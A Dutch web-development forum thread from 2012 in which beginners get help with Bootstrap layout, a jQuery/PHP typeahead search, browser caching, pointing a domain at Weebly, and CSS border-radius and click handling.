FOK!forum / Digital Corner / [html, css, js] body:before { content: "(.)(.)" }
picodealionvrijdag 9 november 2012 @ 14:50
[html, css, js] Voor Dummies

Dit topic is bedoeld voor alle vragen m.b.t. HTML, CSS en javascript, kortom alles wat je nodig hebt om (de frontend van) een website te maken.

HTML: Hyper Text Markup Language is de structuur van een website. Door middel van verschillende html tags geef je aan welke elementen bij elkaar horen (bijv: <div>, <ul>), of wat de betekenis van deze data is (bijv. <p>, <h1>). HTML leent zich ook voor opmaak, maar het is makkelijker en verstandiger om hier CSS voor te gebruiken.
CSS: Cascading StyleSheet is de opmaak van een website. In je CSS specificeer je bijvoorbeeld welke kleur bepaalde elementen moeten hebben, hoe groot ze zijn en hoe je ze wilt rangschikken.
JS: Javascript Javascript (niet te verwarren met programmeertaal Java) is een scripttaal, waarmee het mogelijk is je website dynamisch te maken. Javascript kan bijvoorbeeld HTML-elementen aanpassen, toevoegen of verwijderen. Omdat javascript zeer veelzijdig is, is er voor specifieke JS vragen ook een specaal topic, zie: [Javascript] voor dummies

Vragen over PHP, SQL of andere serverside programmeertalen horen niet in dit topic. Stel deze in [PHP/MySQL] voor dummies of open zelf een topic.
Voor vragen over webhosting, domeinnamen enz. is ook een ander topic: Het grote (betaalde) webhosting topic
En voor Wordpress is er ook een speciaal topic, als het om meer gaat dan de HTML/CSS van een theme: Topicreeks: Algemeen Wordpress topic

Code posten
Het is, als je een vraag stelt, vaak handig om hier een stukje code bij te voegen. Post niet klakkeloos je hele website, maar post alleen het stukje code waar je vraag over gaat. Gebruik bovendien de [code]-tag (code.png), zodat je HTML, CSS of Javascript code goed leesbaar is. Dus niet [quote] of [spoiler] of wat dan ook.

Veel voorkomende problemen
Veel problemen zijn te wijden aan het niet kloppen van HTML of CSS code. Een kleine typfout is snel gemaakt, en de webbrowser kan daar soms erg slecht mee omgaan. Om te controleren of je code technisch in orde is, kun je deze controleren met de W3 validator.
Is je code niet correct? Los dan eerst de fouten op zodat de validator geen foutmeldingen meer geeft. Dit lost niet altijd je probleem op, maar zorgt in ieder geval dat alles werkt zoals het hoort te werken, waardoor overige fouten ook veel makkelijker te achterhalen zijn.

IK SNAP ER NIETS VAN HELLEP! WAT IS CSS?
We helpen iedereen graag in dit topic, ook mensen die er helemaal niets van begrijpen. Maar we verwachten wel dat je je best doet om het wel te gaan begrijpen. Lees eens wat tutorials en probeer het altijd eerst zelf. Je krijgt hier tips waar je zelf iets mee moet doen.

Voor je een vraag stel hier, verplichte kost
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
KomtTijd...vrijdag 9 november 2012 @ 18:03
ik lol-de om de tt :')
picodealionvrijdag 9 november 2012 @ 18:24
Ik wil 'm op een t-shirt.
n8nvrijdag 9 november 2012 @ 18:26
doen we een 'before' tegenwoordig niet met een dubbele dubbele punt?

ah een artikel hier over gevonden
http://www.impressivewebs.com/before-after-css3/
picodealionvrijdag 9 november 2012 @ 19:16
IE struikelt daar soms nog over meen ik.
picodealionvrijdag 9 november 2012 @ 19:18
Oh hey, ik heb daar nog uitgbreid op zitten commenten.
KomtTijd...vrijdag 9 november 2012 @ 23:23
quote:
14s.gif Op vrijdag 9 november 2012 19:16 schreef picodealion het volgende:
IE struikelt daar soms nog over meen ik.
Des te meer reden om 'm dubbel te zetten :Y)
pascal08zaterdag 10 november 2012 @ 19:52
Hoe zorg ik ervoor dat mijn div's elkaar niet overlappen? Ik neem aan dat ik niet voor elke div een marge hoef in te stellen toch?

SPOILER
c65257a3d7483a06a22d2abdefa23c43
picodealionzaterdag 10 november 2012 @ 19:55
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?
pascal08zaterdag 10 november 2012 @ 19:58
quote:
5s.gif Op zaterdag 10 november 2012 19:55 schreef picodealion het volgende:
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?
492cda1f4a49ded2d3115d59f01a4364 263758ed7643bb62ac2a80a7bb2f1c98

div "under_top" zit nu onder div "top"
KomtTijd...zaterdag 10 november 2012 @ 20:05
Ín top bedoel je? Je sluit er geeneen af (ja alleen #bottom).
pascal08zaterdag 10 november 2012 @ 20:07
quote:
2s.gif Op zaterdag 10 november 2012 20:05 schreef KomtTijd... het volgende:
Ín top bedoel je? Je sluit er geeneen af (ja alleen #button).
Jawel, maar die </div> tags zie je niet. Ik heb alles laten collapsen om de structuur te laten zien.
KomtTijd...zaterdag 10 november 2012 @ 20:10
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
pascal08zaterdag 10 november 2012 @ 20:12
quote:
14s.gif Op zaterdag 10 november 2012 20:10 schreef KomtTijd... het volgende:
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
Ik zou graag willen weten waarom "top" "under_top" overlapt, maar de rest gewoon wel netjes onder elkaar gezet wordt.

Wat wil je zien?
KomtTijd...zaterdag 10 november 2012 @ 20:16
Je code. Liefst gewoon een online sample.
pascal08zaterdag 10 november 2012 @ 20:18
quote:
1s.gif Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
http://pastebin.com/0GwJHmaP
pascal08zaterdag 10 november 2012 @ 20:24
quote:
Ik denk dat ik de oplossing al heb. Ik moet alles met position: relative aanduiden in een nieuwe CSS file, dus niet die van Bootstrap (al zou dat natuurlijk ook kunnen, volgens mij).

EDIT: Werkt niet. :'(
pascal08zaterdag 10 november 2012 @ 20:31
Kan ik eigenlijk een CSS naast de CSS van Bootstrap gebruiken? Of wordt alles dan overruled?

Als ik margin-top: 50px; doe, dan komt de tekst wel onder de navigatiebalk uit, maar zo wil ik het niet. Ik wil gewoon dat de delen van de pagina's na elkaar komen en elkaar dus niet overlappen.
donroycozaterdag 10 november 2012 @ 20:35
Gebruik jsfiddle.
donroycozaterdag 10 november 2012 @ 20:35
quote:
1s.gif Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
quote:
Gebruik jsfiddle.
pascal08zaterdag 10 november 2012 @ 20:39
quote:
0s.gif Op zaterdag 10 november 2012 20:35 schreef donroyco het volgende:

[..]

[..]

Gebruik jsfiddle.
http://jsfiddle.net/6mVcp/
pascal08zaterdag 10 november 2012 @ 20:45
Problem solved:

<div class="navbar navbar-fixed-top"> moest zijn: <div class="navbar navbar-absolute-top">

Hier gevonden:

http://css-tricks.com/forums/discussion/16366/help-needed/p1

Thanks voor het meedenken! ;)
KomtTijd...zaterdag 10 november 2012 @ 20:46
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
pascal08zaterdag 10 november 2012 @ 20:48
quote:
3s.gif Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
Online gooien, wat bedoel je daarmee?

Firebug? Ook nog nooit van gehoord. Zal eens kijken wat het is. ^O^
pascal08zondag 11 november 2012 @ 01:58
Als ik errors gelijk wil outputten in een dropdown-login, dan moet ik met javascript werken toch? Of kan ik dat ook gewoon met PHP doen?
KomtTijd...zondag 11 november 2012 @ 09:20
De geit is gemolken! Ik herhaal: De geit is gemolken!
n8nzondag 11 november 2012 @ 11:48
quote:
3s.gif Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
web inspector
Merkiezondag 11 november 2012 @ 17:28
Chrome Developer Tools >>>>> Firebug.
picodealionzondag 11 november 2012 @ 17:49
Bla bla bla mijn tool is beter dan de jouwe.
pascal08maandag 12 november 2012 @ 12:17
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:

90609ecb5a4f97cf91ce40ac6f936562

..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.

925099548c5c07dc9c8ca109c2eeb14e

SPOILER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_POST['query'])) {

    
$connect mysql_connect('localhost','root','') or die(mysql_error());
    
mysql_select_db('db'$connect) or die(mysql_error());

    
$query mysql_real_escape_string($_POST['query']);
    
//mysql_query("SET NAMES 'utf8'");
    
$mysql_query mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
    while(
$row mysql_fetch_assoc($mysql_query)) {
        
$array[] = $row['last_name'];
    }
    
    echo 
json_encode($array);
}
?>
KomtTijd...maandag 12 november 2012 @ 12:24
quote:
0s.gif Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:

..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.

En wát gaat er niet goed?
remlofmaandag 12 november 2012 @ 12:33
Die tieten in de tt mogen wel wat groter:

tt.replace(/\)\(/\s\)\(\s/)
Merkiemaandag 12 november 2012 @ 12:34
quote:
0s.gif Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:

[ afbeelding ]

..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.

[ afbeelding ]

SPOILER
[ code verwijderd ]

1
2
3
4
5
6
<?php
 $mysql_query 
mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
    while(
$row mysql_fetch_assoc($mysql_query)) {
        
$array[] = $row['last_name'];
    } 
?>
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
1
2
3
4
5
6
7
8
9
<?php
 $array 
= array();
$mysql_query mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
    while(
$row mysql_fetch_assoc($mysql_query)) {
        
array_push($array,$row['last_name']);
    } 
header('Content-type: application/json');
echo 
json_encode($return_array);
?>
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.

[ Bericht 6% gewijzigd door Merkie op 12-11-2012 12:42:43 ]
pascal08maandag 12 november 2012 @ 12:43
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
[ code verwijderd ]

array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Enne, voortaan inderdaad zeggen wat er niet goed gaat, lijkt me vrij essentiëel.
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
GlowMousemaandag 12 november 2012 @ 12:44
quote:
0s.gif Op maandag 12 november 2012 12:22 schreef pascal08 het volgende:

[..]

Ik heb 'm al in het JS-topic gepost. ;) Waar moet ik precies naar kijken in de developer-console van Chrome?
in de request en de reply daarop
pascal08maandag 12 november 2012 @ 12:44
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
Dit lijkt me inderdaad een goede optie, ik ga dat eens proberen. ^O^
pascal08maandag 12 november 2012 @ 12:46
quote:
0s.gif Op maandag 12 november 2012 12:44 schreef GlowMouse het volgende:

[..]

in de request en de reply daarop
In het tabblad 'network' geeft 'ie wel een 404 fout, dus ik ben ook ergens weer verkeerd aan het linken, even checken...
Merkiemaandag 12 november 2012 @ 12:48
quote:
0s.gif Op maandag 12 november 2012 12:43 schreef pascal08 het volgende:

[..]

Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.

1
2
3
$("#typeahead").on("keydown", function(){
    $(this).typeahead({source: <hier je Ajax-functie>});
});
pascal08maandag 12 november 2012 @ 12:52
quote:
0s.gif Op maandag 12 november 2012 12:48 schreef Merkie het volgende:

[..]

Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.
[ code verwijderd ]

Ga ik direct proberen. ^O^

Wat er trouwens vaak gebeurd bij mij, is dat een verandering in de code niet goed wordt doorgevoerd in Chrome, terwijl ik wel gewoon refresh. Ik denk dat het iets te maken heeft met een gecached exemplaar, zou dat kunnen? Hoe testen jullie dit soort scripts?
Merkiemaandag 12 november 2012 @ 12:57
Altijd CTRL-F5 doen.

De manier die ik je verteld heb gaat trouwens niet werken bedenk ik me net. Ajax is namelijk asynchroon, als je een Ajax-request uitvoert dan moet je het resultaat in het Ajax-request zelf gebruiken. Je kan niet zeggen: var test = ajaxRequest(bla);

Je moet dit ongeveer doen:

1
2
3
4
5
6
$("#typeahead").on("keydown", function(){
    $.ajax(bla).done(function(result) { 
         var typeahead = $('#typeahead').typeahead();
         typeahead.data('typeahead').source = result;
    });
});
GlowMousemaandag 12 november 2012 @ 13:01
quote:
0s.gif Op maandag 12 november 2012 12:57 schreef Merkie het volgende:
Altijd CTRL-F5 doen.
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Merkiemaandag 12 november 2012 @ 13:01
Just to be sure :6.
pascal08maandag 12 november 2012 @ 13:03
quote:
0s.gif Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:

[..]

F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Ik moet nu steeds handmatig al m'n browsergegevens verwijderen, dan doet 'ie het wel. :?
Devvmaandag 12 november 2012 @ 13:08
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
KomtTijd...maandag 12 november 2012 @ 13:15
quote:
0s.gif Op maandag 12 november 2012 13:08 schreef Devv het volgende:
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
remlofmaandag 12 november 2012 @ 13:16
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
In IE10 werken placeholders eindelijk wel.
Merkiemaandag 12 november 2012 @ 13:24
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE :6 .
mscholmaandag 12 november 2012 @ 13:41
quote:
0s.gif Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:

[..]

F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt...
KomtTijd...maandag 12 november 2012 @ 13:42
quote:
0s.gif Op maandag 12 november 2012 13:24 schreef Merkie het volgende:

[..]

Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE :6 .
Uiteindelijk test je in alle browsers ja, maar voor de initiële ontwikkeling IE gebruiken, dan kom je wel met zulke kromme producten... :')
#ANONIEMmaandag 12 november 2012 @ 13:44
IE moet deaud.
GlowMousemaandag 12 november 2012 @ 13:45
quote:
0s.gif Op maandag 12 november 2012 13:41 schreef mschol het volgende:

[..]

vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt... ongeacht of die corrupt is of niet...
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
mscholmaandag 12 november 2012 @ 13:47
quote:
0s.gif Op maandag 12 november 2012 13:45 schreef GlowMouse het volgende:

[..]

Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
een standaard apache installatie, en F5 is dan niet afdoende...

overigens vermeld jou link het volgende:
quote:
F5 may give you the same page even if the content is changed, because it may load the page from cache. But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content.
pascal08maandag 12 november 2012 @ 13:55
quote:
0s.gif Op maandag 12 november 2012 13:47 schreef mschol het volgende:

[..]

een standaard apache installatie, en F5 is dan niet afdoende...

overigens vermeld jou link het volgende:

[..]

Gewoon Ctrl + F5 gebruiken dus. :)
GlowMousemaandag 12 november 2012 @ 13:56
quote:
0s.gif Op maandag 12 november 2012 13:55 schreef pascal08 het volgende:

[..]

Gewoon Ctrl + F5 gebruiken dus. :)
nee, niet.
quote:
0s.gif Op maandag 12 november 2012 13:47 schreef mschol het volgende:

[..]

een standaard apache installatie, en F5 is dan niet afdoende...
Apache stuurt standaard echt geen 304 terug.
Rockfiremaandag 12 november 2012 @ 14:02
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
[ code verwijderd ]

array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:

quote:
array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:

<?php
$array[] = $var;
?>
pascal08maandag 12 november 2012 @ 14:02
quote:
0s.gif Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:

[..]

nee, niet.

[..]

Apache stuurt standaard echt geen 304 terug.
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."

Dat is toch precies wat ik wil?
KomtTijd...maandag 12 november 2012 @ 14:05
quote:
0s.gif Op maandag 12 november 2012 14:02 schreef pascal08 het volgende:

[..]

"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."

Dat is toch precies wat ik wil?
Bij IE moet je er nooit vanuit gaan dat het doet wat het zou moeten doen.
mscholmaandag 12 november 2012 @ 14:08
quote:
0s.gif Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:

[..]

nee, niet.

[..]

Apache stuurt standaard echt geen 304 terug.
en toch wordt alles uit cache gehaald als ik geen ctrl + f5 gebruik...
Merkiemaandag 12 november 2012 @ 14:11
quote:
12s.gif Op maandag 12 november 2012 14:02 schreef Rockfire het volgende:

[..]

Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:

[..]

Was ik al achter ja. Ik was met die syntax niet bekend.
pascal08maandag 12 november 2012 @ 14:43
Nvm. :O


Ik heb de functie eindelijk werkend gekregen. Niet helemaal zoals ik het eigenlijk wilde met typeahead van Bootstrap. Maar goed, het werkt, dus ik ben tevreden. Dank voor jullie hulp. _O_

1
2
3
4
5
6
7
8
9
10
11
12
13
$(document).ready(function() {
    $('#typeahead').keyup(function() {
        var search = $(this).attr('value');
        $.post('/folder/ajax/search.php', {search:search}, function(data) {
            $('#result').html(data);
            $('#result').click(function() {
                var result_value = $(this).text();
                $('#typeahead').attr('value', result_value);
                $('#result').html('');
            });            
        });
    });
});


[ Bericht 26% gewijzigd door pascal08 op 12-11-2012 14:58:12 ]
Merkiemaandag 12 november 2012 @ 17:26
Zoiets als dit:
1
2
var typeahead = $('#typeahead').typeahead();
typeahead.data('typeahead').source = result;
Zou ook moeten werken hoor :P.
Devvmaandag 12 november 2012 @ 17:37
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Ik ben Microsoft ontwikkelaar en op dit moment maak ik aanpassingen voor Microsoft Dynamics CRM 2011. Dus IE is mijn ontwikkel-browser. Ik zit zelfs nog op Windows XP met IE8 _O- .
picodealionmaandag 12 november 2012 @ 17:38
Ik benijd je geenszins.
KomtTijd...maandag 12 november 2012 @ 17:45
en ik vond vtiger al vervelend! ;(
Mercanwoensdag 14 november 2012 @ 22:00
ff een vraagje voor de kenners.

Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen

Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?

Of komt de website echt op www.voorbeelt.nl te staan?

Ik hoop dat het duidelijk is

Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Rockfirewoensdag 14 november 2012 @ 22:07
quote:
0s.gif Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:
ff een vraagje voor de kenners.

Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen

Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?

Of komt de website echt op www.voorbeelt.nl te staan?

Ik hoop dat het duidelijk is

Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Wat ik zo snel lees is het inderdaad zo dat www.voorbeelt.nl dan gekoppeld wordt aan voorbeelt.weebly.com en iemand die www.voorbeelt.nl intikt zal niet doorhebben dat hij op weebly.com zit.
Tijnwoensdag 14 november 2012 @ 22:46
quote:
0s.gif Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Kortom: je zorgt ervoor dat jouw domeinnaam naar Weebly verwijst.

quote:
Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Ja.

quote:
Of komt de website echt op www.voorbeelt.nl te staan?
Wat betekent dit? Hoe kan iets "echt op" een domein staan? Als je bedoeld dat je ook hosting bij je domein hebt en of er data van de Weeblysite bij jouw webhost terecht komt: nee.
jochemdejongenzaterdag 17 november 2012 @ 15:35
Hi allemaal,
ik heb op mn site t volgende in mn CSS bestandje
1
2
3
4
5
6
7
p {
    background: rgba(31, 31, 31, 0.8);
    padding: 8px;
    border-radius:10px;
    color: #FFFFFF;
    margin-left: 0px;
}
maar als ik nu meerder paragraphs onder elkaar heb, heb ik een soort van inhammetje tussen de verschillende paragraphs, zie hieronder
35iaxys.png
weet iemand hoe ik dit weg kan werken maar wel mn border radius behoudt aan de bovenkant van de bovenste en onderkant van de onderste p?
(die onderste groene balk is een afbeelding, let daar niet op)
lkb9000zaterdag 17 november 2012 @ 15:38
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
stefanhaanzaterdag 17 november 2012 @ 15:44
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
jochemdejongenzaterdag 17 november 2012 @ 17:01
quote:
0s.gif Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
Soort van gedaan met wat toevoegingen van mezelf en t werkt, dankjewel!
jochemdejongenzaterdag 17 november 2012 @ 17:02
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
Even wat over gelezen, heel handig! Dankjewel :)
lkb9000zaterdag 17 november 2012 @ 17:19
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
Dat ga ik ook even doen ^O^
picodealionzaterdag 17 november 2012 @ 17:46
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
^O^
quote:
0s.gif Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
:N
lkb9000zaterdag 17 november 2012 @ 17:50
quote:
2s.gif Op zaterdag 17 november 2012 17:46 schreef picodealion het volgende:

[..]

^O^

[..]

:N
:@
pascal08zaterdag 17 november 2012 @ 23:45
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:

1
2
3
4
$('.selector').mouseout(function() {  
$('.selector').mouseup(function() {  
}
}

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
cablegunmasterzondag 18 november 2012 @ 09:17
quote:
0s.gif Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:


[ code verwijderd ]

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet? :P Desnoods een plaatje in Div 2 maken met een knopje erin :P
stefanhaanzondag 18 november 2012 @ 11:22
quote:
0s.gif Op zaterdag 17 november 2012 17:02 schreef jochemdejongen het volgende:

[..]

Even wat over gelezen, heel handig! Dankjewel :)
np ;)
Merkiezondag 18 november 2012 @ 17:58
quote:
0s.gif Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:


[ code verwijderd ]

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
1$('body').not('.selector').on('click', function() { });

Zoiets?

Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
pascal08zondag 18 november 2012 @ 18:28
quote:
0s.gif Op zondag 18 november 2012 09:17 schreef cablegunmaster het volgende:

[..]

Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet? :P Desnoods een plaatje in Div 2 maken met een knopje erin :P
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!

quote:
1s.gif Op zondag 18 november 2012 17:58 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Zoiets?

Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
Dit is dus wat ik zocht. :) Ik heb er dit van gemaakt:

1
2
3
4
5
6
7
$(function() {
    $("body").click(function(e) {
        if ($(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
        }
    });
});


[ Bericht 4% gewijzigd door pascal08 op 18-11-2012 18:36:37 ]
Merkiezondag 18 november 2012 @ 18:44
quote:
0s.gif Op zondag 18 november 2012 18:28 schreef pascal08 het volgende:

[..]

